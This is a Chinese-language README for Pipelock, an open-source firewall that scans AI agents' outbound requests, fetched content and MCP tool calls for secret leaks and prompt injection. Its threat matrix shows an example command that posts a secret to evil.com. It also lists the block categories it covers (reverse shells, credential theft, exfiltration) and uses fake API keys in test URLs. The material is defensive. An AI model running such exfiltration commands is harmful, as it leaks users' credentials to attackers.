🚀 Pipelock
Pipelock 是一款开源的 AI 代理防火墙,采用单二进制文件,无需运行时依赖。它能有效防止 AI 代理的密钥泄露和恶意请求,为 AI 应用提供安全保障。
🚀 快速开始
安装方式
# macOS / Linux
brew install luckyPipewrench/tap/pipelock
# 或者下载二进制文件(无依赖)
# 请查看 https://github.com/luckyPipewrench/pipelock/releases
# 或者使用 Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest
# 或者从源代码构建(需要 Go 1.24+)
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest
30 秒快速体验
# 1. 生成配置文件
pipelock generate config --preset balanced > pipelock.yaml
# 2. 此请求应被阻止(DLP 检测到伪造的 API 密钥)
pipelock check --config pipelock.yaml --url "https://example.com/?key=sk-ant-api03-fake1234567890"
# 3. 此请求应被允许(干净的 URL,无敏感信息)
pipelock check --config pipelock.yaml --url "https://docs.python.org/3/"
正向代理模式(无需更改代码,适用于任何 HTTP 客户端)
正向代理会拦截标准的 HTTPS_PROXY 流量。在配置文件中启用该模式,然后将任何进程指向 Pipelock:
# 编辑 pipelock.yaml:将 forward_proxy.enabled 设置为 true
pipelock run --config pipelock.yaml
export HTTPS_PROXY=http://127.0.0.1:8888
export HTTP_PROXY=http://127.0.0.1:8888
# 现在每个 HTTP 请求都会通过 Pipelock 的扫描器
curl "https://example.com/?key=sk-ant-api03-fake1234567890" # 被阻止
无需 SDK、包装器或代码更改。只要代理使用 HTTP 协议,Pipelock 就能对其进行扫描。
获取代理模式(适用于使用专用获取工具的代理)
# 启动代理(代理连接到 localhost:8888/fetch?url=...)
pipelock run --config pipelock.yaml
# 实现完全网络隔离(代理只能访问 Pipelock)
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up
验证版本完整性(SLSA 来源证明 + SBOM)
每个版本都包含 SLSA 构建来源证明和 SBOM(CycloneDX)。使用 GitHub CLI 进行验证:
# 验证下载的二进制文件
gh attestation verify pipelock_*_linux_amd64.tar.gz --owner luckyPipewrench
# 验证容器镜像(替换为实际的版本号)
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:<version> --owner luckyPipewrench
✨ 主要特性
9 层 URL 扫描器
每个请求都会经过以下检查:协议验证、域名黑名单、DLP 模式匹配(内置 36 种 API 密钥、令牌和凭证的匹配模式)、路径熵分析、子域名熵分析、SSRF 防护(防止 DNS 重绑定)、按域名限速、URL 长度限制和按域名数据预算控制。
DLP 在 DNS 解析之前运行,确保在任何 DNS 查询离开代理之前捕获敏感信息。完整的规避测试矩阵请参考 docs/bypass-resistance.md。
响应扫描
获取的内容在到达代理之前会进行提示注入扫描。通过 6 遍归一化处理,可捕获零宽度字符规避、同形替代、字母替换编码和 Base64 包装的有效负载。支持的操作包括:block(阻止)、strip(去除)、warn(警告)或 ask(人工确认)。
MCP 代理
对任何 MCP 服务器进行双向扫描。支持三种传输模式:标准输入输出子进程包装、可流式 HTTP 桥接和 HTTP 反向代理。对客户端请求进行 DLP 泄漏检查,对服务器响应进行注入扫描,并检查 tools/list 响应是否存在中毒描述和会话中恶意更改。
# 包装本地 MCP 服务器(标准输入输出)
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp
# 代理远程 MCP 服务器(HTTP)
pipelock mcp proxy --upstream http://localhost:8080/mcp
# 组合模式(获取/正向代理 + MCP 在不同端口)
pipelock run --config pipelock.yaml --mcp-listen 0.0.0.0:8889 --mcp-upstream http://localhost:3000/mcp
MCP 工具策略
预执行规则可在危险工具调用到达 MCP 服务器之前进行阻止。内置 17 条规则,涵盖破坏性操作、凭证访问、反向 shell、持久化机制和编码命令执行。内置 shell 混淆检测功能。
工具调用链检测
检测 MCP 工具调用序列中的攻击模式。内置 10 种模式,涵盖侦察、凭证窃取、数据暂存、持久化和数据外泄链。使用可配置间隙容忍度的子序列匹配,确保插入无害调用不会逃避检测。
紧急开关
提供四种独立的激活源(配置文件、SIGUSR1、哨兵文件和远程 API)实现紧急全拒绝功能。任何一个激活源生效都会阻止所有流量。API 可以在单独的端口上运行,防止代理禁用自己的紧急开关。
# 从操作机器激活
curl -X POST http://localhost:9090/api/v1/killswitch \
-H "Authorization: Bearer TOKEN" -d '{"active": true}'
事件发射
将审计事件转发到外部系统(SIEM、Webhook 接收器、Syslog)。事件采用即发即弃模式,不会阻塞代理。每个事件在适用情况下包含 MITRE ATT&CK 技术 ID(如 T1048 表示数据外泄,T1059 表示注入,T1195.002 表示供应链攻击)。
详细的日志架构、转发模式和示例 SIEM 查询请参考 docs/guides/siem-integration.md。
更多特性
| 特性 | 功能描述 |
|---|---|
| 审计报告 | pipelock report --input events.jsonl 可生成包含风险评级、时间线和证据附录的 HTML/JSON 报告。使用 --sign 进行 Ed25519 签名。(示例报告) |
| 诊断 | pipelock diagnose 运行 6 项本地检查,验证配置是否端到端正常工作(无需网络) |
| TLS 拦截 | 可选的 CONNECT 隧道中间人攻击:解密、扫描请求体/头/响应,然后重新加密。pipelock tls init 生成 CA,pipelock tls install-ca 在系统范围内信任该 CA。 |
| 阻止提示 | 启用 explain_blocks: true 可在阻止响应中添加修复建议 |
| 项目审计 | pipelock audit ./project 扫描项目中的安全风险并生成定制配置 |
| 文件完整性 | SHA256 清单可检测工作区文件的修改、添加或删除 |
| Git 保护 | git diff | pipelock git scan-diff 在提交之前捕获敏感信息 |
| Ed25519 签名 | 密钥管理、文件签名和签名验证,用于多代理信任 |
| 会话分析 | 按会话进行行为分析(域名突发、流量峰值) |
| 自适应执行 | 按会话累积威胁分数并触发升级事件(v1 版本支持评分和日志记录) |
| 发现抑制 | 通过配置规则或内联 pipelock:ignore 注释屏蔽已知的误报 |
| 多代理支持 | 通过 X-Pipelock-Agent 头识别代理,实现按代理过滤 |
| 集群监控 | Prometheus 指标 + 可直接导入的 Grafana 仪表盘 |
📦 安装指南
不同环境安装方式
# macOS / Linux
brew install luckyPipewrench/tap/pipelock
# 或者下载二进制文件(无依赖)
# 请查看 https://github.com/luckyPipewrench/pipelock/releases
# 或者使用 Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest
# 或者从源代码构建(需要 Go 1.24+)
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest
验证版本完整性
# 验证下载的二进制文件
gh attestation verify pipelock_*_linux_amd64.tar.gz --owner luckyPipewrench
# 验证容器镜像(替换为实际的版本号)
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:<version> --owner luckyPipewrench
💻 使用示例
基础用法
# 生成配置文件
pipelock generate config --preset balanced > pipelock.yaml
# 检查 URL
pipelock check --config pipelock.yaml --url "https://example.com/?key=sk-ant-api03-fake1234567890"
高级用法
正向代理模式
# 编辑 pipelock.yaml:将 forward_proxy.enabled 设置为 true
pipelock run --config pipelock.yaml
export HTTPS_PROXY=http://127.0.0.1:8888
export HTTP_PROXY=http://127.0.0.1:8888
# 现在每个 HTTP 请求都会通过 Pipelock 的扫描器
curl "https://example.com/?key=sk-ant-api03-fake1234567890" # 被阻止
获取代理模式
# 启动代理(代理连接到 localhost:8888/fetch?url=...)
pipelock run --config pipelock.yaml
# 实现完全网络隔离(代理只能访问 Pipelock)
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up
MCP 代理
# 包装本地 MCP 服务器(标准输入输出)
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp
# 代理远程 MCP 服务器(HTTP)
pipelock mcp proxy --upstream http://localhost:8080/mcp
# 组合模式(获取/正向代理 + MCP 在不同端口)
pipelock run --config pipelock.yaml --mcp-listen 0.0.0.0:8889 --mcp-upstream http://localhost:3000/mcp
📚 详细文档
配置参考
Configuration Reference 包含所有配置字段、默认值、热重载行为和预设配置。
部署方案
Deployment Recipes 提供 Docker Compose、K8s 边车 + NetworkPolicy、iptables、macOS PF 等部署方案。
绕过抗性
Bypass Resistance 介绍已知的规避技术、缓解措施和实际局限性。
已知攻击拦截
Known Attacks Blocked 展示实际攻击的重现代码片段以及阻止这些攻击的 Pipelock 配置。
策略规范
Policy Spec v0.1 定义了可移植的代理防火墙策略格式。
SIEM 集成
SIEM Integration 包含日志架构、转发模式和 KQL/SPL/EQL 查询示例。
指标参考
Metrics Reference 介绍所有 30 个 Prometheus 指标和警报规则模板。
OWASP 映射
OWASP Mapping 展示 Pipelock 对 OWASP Agentic AI Top 10 的覆盖情况。
比较分析
Comparison 对比 Pipelock 与 agent-scan、srt、agentsh、MCP Gateway 等工具的差异。
发现抑制
Finding Suppression 介绍规则名称、路径匹配、内联注释和 CI 集成等内容。
OpenClaw 指南
OpenClaw Guide 介绍网关边车、初始化容器和 generate mcporter 包装的使用方法。
安全保障
Security Assurance 阐述安全模型、信任边界和供应链相关内容。
传输模式
Transport Modes 比较所有代理模式及其扫描能力。
EU AI 法案映射
EU AI Act Mapping 提供逐条合规映射。
🔧 技术细节
工作原理
Pipelock 是一种 代理防火墙,类似于 Web 应用的 WAF,它位于 AI 代理和互联网之间。采用 能力分离 原则:代理进程(拥有敏感信息)受到网络限制,而 Pipelock(不持有代理敏感信息)通过 9 层扫描器管道检查所有流量。部署(如 Docker 网络隔离、Kubernetes NetworkPolicy 等)确保分离边界的实施。
支持三种代理模式,使用相同的端口:
- 获取代理 (
/fetch?url=...):Pipelock 获取 URL 内容,提取文本,扫描响应中的提示注入,并返回干净的内容。适用于使用专用获取工具的代理。 - 正向代理 (
HTTPS_PROXY):标准的 HTTP CONNECT 隧道和绝对 URI 转发。代理可以将 Pipelock 作为系统代理,无需更改代码。主机名扫描可在隧道打开之前捕获被阻止的域名和 SSRF 攻击。请求体和头的 DLP 扫描可捕获 POST 请求体和认证头中的敏感信息。可选的 TLS 拦截功能可解密 CONNECT 隧道,实现完整的请求体/头 DLP 和响应注入扫描(需要通过pipelock tls init和pipelock tls install-ca进行 CA 设置)。 - WebSocket 代理 (
/ws?url=ws://...):双向帧扫描,对文本帧进行 DLP 和注入检测。内置片段重组、消息大小限制、空闲超时和连接生命周期控制功能。
flowchart LR
subgraph PRIVILEGED["Privileged Zone"]
Agent["AI Agent\n(has API keys)"]
end
subgraph FETCH["Firewall Zone"]
Proxy["Pipelock\n(no agent secrets)"]
Scanner["Scanner Pipeline\nSSRF · Blocklist · Rate Limit\nDLP · Env Leak · Entropy · Length"]
end
subgraph NET["Internet"]
Web["Web"]
end
Agent -- "fetch URL\nCONNECT\nor WebSocket" --> Proxy
Proxy --> Scanner
Scanner -- "content or\ntunnel" --> Agent
Scanner -- "request" --> Web
Web -- "response" --> Scanner
Scanner -- "clean content" --> Agent
style PRIVILEGED fill:#fee,stroke:#c33
style FETCH fill:#efe,stroke:#3a3
style NET fill:#eef,stroke:#33c
文本图表(适用于终端或不支持 Mermaid 的渲染器)
┌──────────────────────┐ ┌───────────────────────┐
│ PRIVILEGED ZONE │ │ FIREWALL ZONE │
│ │ │ │
│ AI Agent │ IPC │ Pipelock │
│ - Has API keys │────────>│ - No agent secrets │
│ - Has credentials │ fetch / │ - Full internet │
│ - Restricted network│ CONNECT │ - Returns text │
│ │ /ws │ - WS frame scanning │
│ │<────────│ - URL scanning │
│ Can reach: │ content │ - Audit logging │
│ ✓ api.anthropic.com │ │ │
│ ✓ discord.com │ │ Can reach: │
│ ✗ evil.com │ │ ✓ Any URL │
│ ✗ pastebin.com │ │ But has: │
└──────────────────────┘ │ ✗ No env secrets │
│ ✗ No credentials │
└───────────────────────┘
安全矩阵
Pipelock 支持三种模式:
| 模式 | 安全性 | 网页浏览 | 使用场景 |
|---|---|---|---|
| 严格模式 | 仅允许白名单 | 无 | 受监管行业、高安全要求场景 |
| 平衡模式 | 阻止简单攻击,检测复杂攻击 | 通过获取或正向代理 | 大多数开发者(默认模式) |
| 审计模式 | 仅记录日志 | 无限制 | 实施前评估 |
各模式对不同攻击向量的处理方式:
| 攻击向量 | 严格模式 | 平衡模式 | 审计模式 |
|---|---|---|---|
curl evil.com -d $SECRET |
阻止 | 阻止 | 记录日志 |
| URL 查询参数中的敏感信息 | 阻止 | 检测(DLP 扫描) | 记录日志 |
| URL 中的 Base64 编码敏感信息 | 阻止 | 检测(熵扫描) | 记录日志 |
| DNS 隧道攻击 | 阻止 | 检测(子域名熵分析) | 记录日志 |
| 分块数据外泄 | 阻止 | 检测(速率和数据预算控制) | 记录日志 |
| URL 中的公钥加密数据块 | 阻止 | 记录日志(熵分析标记) | 记录日志 |
客观评估:严格模式会阻止除白名单 API 域名之外的所有出站 HTTP 请求,因此不存在通过代理进行数据外泄的通道。平衡模式将攻击难度从“一个 curl 命令”提高到“复杂的预先计划攻击”。审计模式可提供当前所没有的可见性。Pipelock 不进行进程沙箱化或系统调用限制,它是一个内容检查层。为实现全面的纵深防御,建议将其与操作系统沙箱结合使用(详见 docs/comparison.md)。
项目结构
cmd/pipelock/ CLI 入口点
internal/
cli/ 20 多个 Cobra 命令(run, check, generate, mcp, integrity, ...)
config/ YAML 配置、验证、默认值、热重载(fsnotify)
scanner/ 9 层 URL 扫描管道 + 响应注入检测
audit/ 结构化 JSON 日志记录(zerolog) + 事件发射分发
proxy/ HTTP 代理:获取、正向(CONNECT)、WebSocket、DNS 固定、TLS 拦截
certgen/ ECDSA P-256 CA + 叶证书生成、缓存
mcp/ MCP 代理 + 双向扫描 + 工具中毒检测 + 调用链检测
killswitch/ 紧急全拒绝(4 种激活源) + 端口隔离的 API
emit/ 事件发射(Webhook + Syslog 接收器)
metrics/ Prometheus 指标 + JSON 统计信息
normalize/ Unicode 归一化(NFKC、易混淆字符、组合标记)
integrity/ SHA256 文件完整性监控
signing/ Ed25519 密钥管理
gitprotect/ Git 差异扫描,防止敏感信息提交
hitl/ 人工确认终端批准
report/ 从 JSONL 事件日志生成 HTML/JSON 审计报告
projectscan/ 项目目录扫描,用于审计命令
enterprise/ 多代理功能(ELv2 许可,详见 enterprise/LICENSE)
configs/ 7 个预设配置文件
docs/ 指南、参考文档、合规映射
测试指标
| 指标 | 值 |
|---|---|
Go 测试(带 -race) |
5450+ |
| 语句覆盖率 | 91%+ |
| 测试的规避技术 | 230+ |
| 扫描器管道开销 | 每个 URL 扫描约 37μs (性能详情) |
| CI 矩阵 | Go 1.24 + 1.25, CodeQL, golangci-lint |
| 供应链 | SLSA 来源证明,CycloneDX SBOM,cosign 签名 |
| OpenSSF Scorecard | 实时得分 |
在本地运行 make test 进行验证。性能数据请参考 docs/performance.md。原始基准测试数据请参考 docs/benchmarks.md。
独立基准测试:agent-egress-bench(涵盖 8 个类别共 72 种攻击场景,工具中立)。
📄 许可证
Pipelock 核心采用 Apache License 2.0 许可。版权所有 2026 Joshua Waldrep。
多代理功能(按代理身份、预算和配置隔离)由 enterprise 构建标签控制,并采用 Elastic License 2.0 (ELv2) 许可。主要实现位于 enterprise/ 目录,构建标签控制的集成代码位于 cmd/ 和 internal/ 目录。这些功能需要有效的企业许可证密钥。
开源核心可以独立运行,无需企业功能。
预构建的发布工件(Homebrew、GitHub 发布、Docker 镜像)包含企业代码,使用有效许可证密钥即可激活。使用 go install 从源代码构建或使用仓库的 Dockerfile 构建将生成仅包含社区版的二进制文件。
请查看 LICENSE 获取 Apache 2.0 许可证文本,查看 enterprise/LICENSE 获取 ELv2 许可证文本。












